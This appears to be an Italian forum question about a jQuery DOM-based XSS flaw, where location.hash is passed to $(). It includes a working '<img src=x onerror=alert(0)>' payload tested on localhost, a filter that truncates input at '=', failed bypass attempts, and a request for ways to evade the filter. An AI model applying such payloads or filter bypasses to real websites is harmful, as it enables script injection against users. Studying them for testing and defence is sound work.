Questo è un codice JavaScript vulnerabile:
$(document).ready(function(){
var payload = unescape(document.location.hash.substr(1));
$(payload);
document.body.innerText = "The payload is: " + payload;
});
Quando ho provato a sfruttarlo con questo input
http://localhost/xss.html#<img src=x onerror=alert(0)>
ha funzionato bene, facendo apparire l'avviso. Il mio caso è leggermente diverso, c'è un piccolo filtro che impedisce l'exploit:
$(document).ready(function(){
var payload = unescape(document.location.hash.substr(1));
payload = payload.split('=')[0]; // <------- The new filter
$(payload);
document.body.innerText = "The payload is: " + payload;
});
Troncone tutto dopo il carattere "=", il che significa che non posso iniettare attributi. Ho già provato quanto segue, ma non ha funzionato:
- HTML codifica il carattere uguale (
onerror&equal;alert()
) -
<script>alert(0);</script>
Qualcuno ha un'idea di cosa posso fare per aggirare questo filtro?